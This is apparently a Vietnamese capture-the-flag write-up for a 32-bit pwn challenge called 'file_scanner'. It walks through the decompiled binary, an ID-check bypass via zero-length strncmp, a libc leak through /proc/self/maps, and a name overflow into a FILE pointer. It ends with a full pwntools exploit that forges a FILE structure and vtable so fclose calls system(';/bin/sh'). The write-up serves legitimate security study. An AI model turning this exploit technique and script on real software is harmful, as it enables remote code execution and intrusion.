printf("Do you forgot your ID, so badd !!!");
exit(1, v4, v7, v8);
}
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v9);
if ( v9 == 2 )
{
readFile();
goto LABEL_21;
}
if ( v9 > 2 )
{
if ( v9 == 3 )
{
printFileContent();
goto LABEL_21;
}
if ( v9 == 4 )
{
puts("oh... I forgot asking your name");
printf("What is your name: ");
__isoc99_scanf("%s", name);
printf("See you soon, %s !!!\n", name);
if ( filePtr )
fclose(filePtr);
exit(1, v6, v7, v8);
}
}
else if ( v9 == 1 )
{
openFile();
goto LABEL_21;
}
puts("Invalid choice");
exit(1, v5, v7, v8);
LABEL_21:
putchar(10);
}
}
- Cái vụ huster là chương trình random 1 cái strings rồi check xem cái input người dùng có trùng với cái string đấy không qua hàm
strncmp
- Ta thấy cái argument thứ 3 là độ dài của cái string mình pass cho chương trình thì
strncmp
sẽ kiểm tra với độ dài đó, tóm lại size bằng0
là sẽ pass
Hàm open
unsigned int openFile()
{
char v1[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( filePtr )
{
puts("A file is already opened. Please close it before opening a new file.");
}
else
{
printf("Enter the filename: ");
__isoc99_scanf("%99s", v1);
if ( strstr(v1, "flag") )
{
puts("Ha, what are you trying to do ?!");
}
else
{
filePtr = fopen(v1, "r");
if ( filePtr )
puts("Ok, this file is yours");
else
puts("Failed to open the file.");
}
}
return __readgsdword(0x14u) ^ v2;
}
- Nó yêu cầu nhập 1 cái file name(không có “flag”) rồi mở file. Sử dụng
fopen
sẽ trả về 1IO_FILE_plus
struct được lưu vàofilePtr
Hàm read
int readFile()
{
memset(&fileContent, 0, 1000);
if ( !filePtr )
return puts("No file is currently opened.");
if ( fgets(&fileContent, 1000, filePtr) )
return puts("Read successful");
return puts("Failed to read the file.");
}
- Nó đọc
1000
bytes hoặc đến\n
và lưu data vàofileContent
Hàm print
int printFileContent()
{
int v1; // [esp-Ch] [ebp-14h]
int v2; // [esp-8h] [ebp-10h]
int v3; // [esp-4h] [ebp-Ch]
if ( strchr(&fileContent, 125) )
{
puts("Nothing for you!!! Bye~");
exit(1, v1, v2, v3);
}
return puts(&fileContent);
}
- Nó kiểm tra trên
fileContent
mà không có}
thì in ra - Cuối cùng là khi mình chọn
4
đểexit
thì trước đó chương trình sẽ yêu cầu nhập tên mà cái con trỏname
này lại ở trướcfilePtr
- Ở đây ta có thể overflow
filePtr
để khi đưa vàofclose
thì hàm này sẽ làm gì đó đó - Chương trình không bật PIE và là 32 bits nên việc ghi không bị khó khăn bởi
NULL
byte
LEAK LIBC
- Để leak libc thì mình đọc file
/proc/self/maps
Ví dụ về file đó ở /usr/bin/cat
-
Cái hàm
read
chỉ đọc 1 dòng 1 lần như vậy để in dòngn
thì mìnhread
n
lần rồi mớiprint
-
Hàm để tìm libc
while(1):
for j in range(i):
read_file()
write_file()
leak = p.recvuntil(b'---------------MENU---------------')
if(b'libc_32' in leak):
break
i += 1
- Rồi giờ thì đã có libc
FSOP
Hàm fclose
int _IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
CHECKFILE
kiểm tra giá trị magic trênflags
của_IO_FILE
struct. Đại loại là4
bytes cuối sẽ là0xfbad
- Ta có cái file struct
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
- Ở chỗ này trong
fclose
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
#define _IO_IS_FILEBUF 0x2000
- Mình ko set cái bit đấy để nó không chạy vào
_IO_un_link
- Cả cái này nữa
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
- Rồi nó sẽ chạy
_IO_FINISH(fp)
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
- Mình fake cái
filePtr
vềname
thìname
sẽ làfp
, thì ở đây mình set cáivtable
vềname + 0x10
thì chương trình sẽ gọi(name + 0x10 + 0x4*3)()
- Mình để cái giá trị đấy là
system
- Chương trình gọi
_IO_FINISH
với argument là file struct nên khi nhập tên sau cáiflags
mình để;/bin/sh...
thì sẽ có được shell
Script
from pwn import *
slnaf = lambda delim, data: p.sendlineafter(delim, data)
elf = context.binary = ELF('file_scanner')
libc = ELF('libc_32.so.6')
def open_file(name):
slnaf(b'Your choice :', b'1')
slnaf(b'Enter the filename: ', name)
def read_file():
slnaf(b'Your choice :', b'2')
def write_file():
slnaf(b'Your choice :', b'3')
#p = remote('18.141.143.171', 30914)
p = process()
gdb.attach(p, gdbscript='''
break fclose
break *0x8048cc9
break exit
c
# ''')
NAME = 0x804b0a0
p.sendlineafter(b're you Huster? Show me your ID:', b'')
open_file(b'/proc/self/maps')
i = 1
while(1):
for j in range(i):
read_file()
write_file()
leak = p.recvuntil(b'---------------MENU---------------')
if(b'libc' in leak):
break
i += 1
leak = leak[:8]
leak = int(leak.decode(), 16)
print('leak: {}'.format(hex(leak)))
libc.address = leak
print('system: {}'.format(hex(libc.symbols['system'])))
payload = p32(0xfbad0101)
payload += b';/bin/sh;'.ljust(20, b'A')
payload += p32(libc.symbols['system'])
payload += b'A'*4
payload += p32(NAME)
payload += p32(NAME - 0x10)*0xa
payload += p32(NAME + 0x10)
payload += p32(NAME - 0x10)*0x10
slnaf(b'Your choice :', b'4')
slnaf(b'What is your name: ', payload)
p.interactive()
RE
Checker
Author: PhucRio
Source code here.
https://hackmd.io/LShuh2sWTf6GQfcB_xn-xQ
Comments